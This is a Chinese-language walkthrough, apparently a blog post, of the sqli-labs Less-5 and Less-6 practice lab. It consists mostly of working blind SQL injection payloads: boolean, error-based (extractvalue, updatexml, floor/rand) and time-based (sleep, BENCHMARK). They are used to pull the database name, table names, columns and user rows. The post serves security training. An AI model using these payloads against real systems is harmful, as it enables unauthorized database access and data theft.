Background-2 盲注关卡 sqli-Labs Less5-Less-6

news2024/11/26 20:32:12

文章目录

  • 一、Less-5-less-6
    • 一、利用left(database(),1)进行尝试
      • 1.查看版本号
      • 2.查看数据库的长度
      • 3.猜测数据库的第一位
    • 二、利用substr(),ascii()函数进行尝试
    • 三、利用regexp()获取(2)中users表中的列
    • 四、利用ord(),mid函数获取users中的内容
    • 五、使用报错注入
    • 六、延时注入
  • 总结

一、Less-5-less-6

一、利用left(database(),1)进行尝试

1.查看版本号

http://sqli-labs-master:8089/Less-5/?id=1’and left(version(),1)=5--+

说明:判断第一位的版本号是不是5,根据以下图像显示是5
在这里插入图片描述

2.查看数据库的长度

http://sqli-labs-master:8089/Less-5/?id=1'and
 length(database())=8--+

在这里插入图片描述

3.猜测数据库的第一位

http://sqli-labs-master:8089/Less-5/?id=1'and
 left(database(),1)>'a'--+

在这里插入图片描述
注:database()的数据库是security,所以第一位>’a‘的,在不知道的情况下可以采用二分法提高注入的效率。

二、利用substr(),ascii()函数进行尝试

ascii(substr((select table_name from information_schema.tables 

where table_schema=database() limit 0,1),1,1))=101--+

根据以上我们知道是security数据库,接下来获取数据库表

http://sqli-labs-master:8089/Less-5/?id =1 'and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>80--+

只需把database()修改为security即可,逐渐破解表名。

http://sqli-labs-master:8089/Less-5/?id=1%27%20and%20ascii
(substr((select%20table_name%20from%20information_schema.
tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))=101--+

测试第一个表名是email,e对应的ascii是101.
在这里插入图片描述
破解第二个字符只需使用substr(**,2,1)即可,接下来等等。

如何获取第二表呢?
已知第二个表是referers时,此时只需把limit 0,1,改成limit 1,1即可。
解释:
limit 0,1表示从首位开始获取第一个。
limit 1,1表示从首位的下一个获取第一个。
可理解为次序从0开始计数。

http://sqli-labs-master:8089/Less-5/?id=1%27%20and%20ascii(substr
((select%20table_name%20from%20information_schema.tables%20where%20
table_schema=%27security%27%20limit%20%201,1),1,1))=114--+

在这里插入图片描述

三、利用regexp()获取(2)中users表中的列

http://sqli-labs-master:8089/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_nmae='users' and column_name regexp ^'username' limit 0,1)--+

查询users表中是否有username的列

http://sqli-labs-master:8089/Less-5/?id=1%27%20
and%201=(select%201%20from%20information_schema.columns%20where%20
table_name=%27users%27%20and%20
column_name%20regexp%20%27^username%27%20limit%200,1)--+

在这里插入图片描述

四、利用ord(),mid函数获取users中的内容

cast()介绍:CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型
 IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回
 第一个参数。 否则,IFNULL函数返回第二个参数。
http://sqli-labs-master:8089/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

获取users表中的内容,获取username中的第一行的第一个的ascii码值,与68 比较为D,已知表中第一个Dumb
在这里插入图片描述

五、使用报错注入

http://localhost/Less-5/?id=1' union select 1,count(*),concat(0x30,(select user()),0x30,floor(rand(0)*2))a  from information_schema.columns group by a--+

在这里插入图片描述
利用 double 数值类型超出范围进行报错注入

http://localhost/Less-5/?id=1' union select (exp(~(select * from (select user())a))),2,3--+

利用 bigint 溢出进行报错注入

id=1 ' union select (!(select * from (select user())x)-~0),2,3--+

xpath 函数报错注入

id=1 'and extractvalue(1,concat(0x7e,(select @@version()),0x7e))--+

在这里插入图片描述

http://localhost/Less-5/?id=1%20%27and%20updatexml(1,concat(0x7e,(select%20@@version),0x7e),1)--+

在这里插入图片描述
利用数据的重复性

在这里插入图片描述

在这里插入图片描述

http://sqli-labs-master:8089/Less-5/?id =1'union select 1,2,3 from ( select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+

在这里插入图片描述

六、延时注入

sleep函数的延时注入

http://sqli-labs-master:8089/Less-5/?id=1' and if(ascii(substr(database(),1,1)),1,sleep(5))--+

在这里插入图片描述

当有错误时会有5秒的延时注入

利用 BENCHMARK()进行延时注入

?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur
rent) as tb1--+

在这里插入图片描述

当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000 次,会占用一段时间

Less-6

将单引号换成即可。

总结

所谓常识,往往不过是时代的偏见。要超越这个时代的偏见,唯一的办法,就是阅读,阅读人类历史上最伟大的经典著作。没读过几百本经典,不足以谈独立思考。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/746268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

elasticsearch插件ik分词器,无法启动解决方案

首先7以后的版本一定要与es的版本保持一致下载包只能下载这个路径的文件,版本号与自己的es版本保持一致 https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.6.0/elasticsearch-analysis-ik-8.6.0.zip这里可以直接替换 docker容器无法启动&…

SLF4J: Failed to load class “org.slf4j.impl.StaticLoggerBinder“

一、现象说明 最近在调试 RabbitMQ 程序的时候,日志里如下错误: SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder". SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/cod…

排序算法笔记-快速排序

文章目录 笔记简介时间复杂度空间复杂度解题模版练习题 笔记 简介 快速排序:确定分界数,左边小于分界,右边大于分界数,通过递归来不断重置分界数划分区域,直至完成排序 时间复杂度 最优 n*logn 最差 n^2 空间复杂…

找工作不用愁!送你一份Salesforce顾问面试秘籍(下)(含答案)

作为SaaS行业的先驱,Salesforce的发展一路高歌猛进。在Salesforce生态系统中不仅能学习到最新的技术,而且比其他行业的同岗位享有更高的薪水,这也驱使了越来越多人加入Salesforce大军。 在之前的文章中,自由侠部落为学习者梳理了…

Qt6之QSetting读取为空或失败

一、目的 QSetting终极目的是,模糊平台,一套方法可以同时写入或者读取配置文件及注册表。 二、问题 QSetting确实兼顾了平台,linux、mac、windows三大平台均能使用,但就像所有事物一样,大一统的背后必定要做出一些让步…

STM32 Proteus仿真水箱水塔水位温度控制系统DS18B20 -0065

STM32 Proteus仿真水箱水塔水位温度控制系统DS18B20 -0065 Proteus仿真小实验: STM32 Proteus仿真水箱水塔水位温度控制系统DS18B20 -0065 功能: 硬件组成:STM32F103C8单片机 LCD1602显示器ADC220V转3.3V电路DS18B20温度多个按键&#xf…

刚刚出炉,速看7月编程语言排行榜

2023年已经过半,最新一期的编程语言排行榜你看了吗?刚刚,全球知名编程语言社区TIOBE公布了7月榜单, TIOBE 7 月 TOP 15 编程语言: 详细榜单可参考官网: https://www.tiobe.com/tiobe-index/ 在众多编程语…

openpnp - 伺服JAWD7502的参数读取

文章目录 openpnp - 伺服JAWD7502的参数读取概述笔记备注END openpnp - 伺服JAWD7502的参数读取 概述 设备用的双Y轴用到了伺服JAWD7502, 准备将参数读出来, 以备不时之需. 笔记 JAWD7502直接提供了USB接口, 连到电脑就行. 不用准备特别的通讯线. USB接口类型是MicroUSB U…

智能优化算法——哈里鹰算法(Matlab实现)

目录 1 算法简介 2 算法数学模型 2.1.全局探索阶段 2.2 过渡阶段 2.3.局部开采阶段 3 求解步骤与程序框图 3.1 步骤 3.2 程序框图 4 matlab代码及结果 4.1 代码 4.2 结果 1 算法简介 哈里斯鹰算法(Harris Hawks Optimization,HHO),是由Ali Asghar Heid…

IME SoftInputWindow窗口添加

IME SoftInputWindow窗口添加 1、时序图2、InputMethodService#onCreate()3、Dialog添加到WMS android12-release1 1、时序图 输入法应用继承InputMethodServiceframeworks/base/core/java/android/view/inputmethod/InputMethodManager.java frameworks/base/core/java/andro…

【JAVA】数据类型,类型转换与提升,运算符,标识符命名规则

🍉内容专栏:【JAVA】 🍉本文脉络:数据类型,类型转换与提升,运算符,标识符命名规则 🍉本文作者:Melon_西西 🍉发布时间 :2023.7.12 目录 1. 字面常…

【数据结构】数据结构的基本概念

文章目录 思维导图数据结构的基本概念和术语数据结构三要素逻辑结构存储结构数据的运算 重要知识总结 思维导图 数据结构的基本概念和术语 数据:数据是信息的载体。是描述客观事物属性的数、字符及所有能输入到计算机中并被计算机程序识别和处理的符号的集合。数据…

【计算机视觉 | 目标检测 | 图像分割】arxiv 计算机视觉关于目标检测和图像分割的学术速递(7 月 12 日论文合集)

文章目录 一、检测相关(7篇)1.1 3D detection of roof sections from a single satellite image and application to LOD2-building reconstruction1.2 Towards exploring adversarial learning for anomaly detection in complex driving scenes1.3 Unveiling the invisible: …

探索嵌入式系统:初学者必知的核心概念解析

探索嵌入式系统:初学者必知的核心概念解析 嵌入式系统是指嵌入在其他设备或系统中的特定目的的计算机系统。它们通常用于控制、监测或执行特定任务,例如汽车的引擎控制单元、智能手机的操作系统或家电中的微控制器。对于初学者来说,以下是一…

Android自动化测试中如何处理各种弹窗

目录 弹窗的种类: APP内的业务弹窗 弹窗处理 watcher的使用 实战案例 总结: 在UI自动化测试中弹窗是影响自动化用例稳定性的一大因素,如何方便快捷的处理各种情况下的弹窗,是搞UI自动化测试必须要面临的问题. 弹窗的种类: 安装APP时的…

MySQL事务 | 隔离级别 | 数据一致性

文章目录 简介一、事务并发问题1. 脏读(Dirty Read)2. 不可重复读(Non-repeatable Read)3. 幻读(Phantom Read)幻读和不可重复读的区别 二、事务隔离级别1. 回顾事务2. 事务级别3. 特点和优缺点 三、事务隔…

科研笔记:一些有用的网站整理(更新中)

1 论文整理网站 整理AI相关领域的一些综述GitHub - KaiyuanGao/AI-Surveys: 整理AI相关领域的一些综述时间序列的paper/code汇总GitHub - qingsongedu/awesome-AI-for-time-series-papers: A professional list of Papers, Tutorials, and Surveys on AI for Time Series in t…

OpenSource - Spring Startup Ananlyzer

文章目录 🚀Optimization of Spring Startup核心能力📈Spring应用启动数据采集报告应用启动时长优化 📈Spring应用启动数据采集报告安装jar包配置项应用启动自定义扩展 🚀应用启动时长优化支持异步化的Bean类型接入异步Bean优化 开…

idea配置类注解和方法注解最详细教材

1.配置类注释 点击setting 方法一: 1.按照要求添加下图中的模板 /*** Author: aaa* Date: ${YEAR}/${MONTH}/${DAY}* Description: */ 2.勾选下面的两个勾后点击apply 方法二: 我们看到了在刚刚那个模板中有这样一句话 这句话是表示创建项目的时候会…

CASAIM与大疆达成全自动化测量技术合作,CASAIM IS全自动化蓝光测量仪实现无人机叶片全尺寸检测及质量控制

近期,CASAIM与大疆达成全自动化测量技术合作,CASAIM IS全自动化蓝光测量仪实现无人机叶片全尺寸检测及质量控制。 无人机行业在过去几年里取得了迅猛发展,大疆是全球领先的无人飞行器控制系统及无人机解决方案的研发商和生产商,客…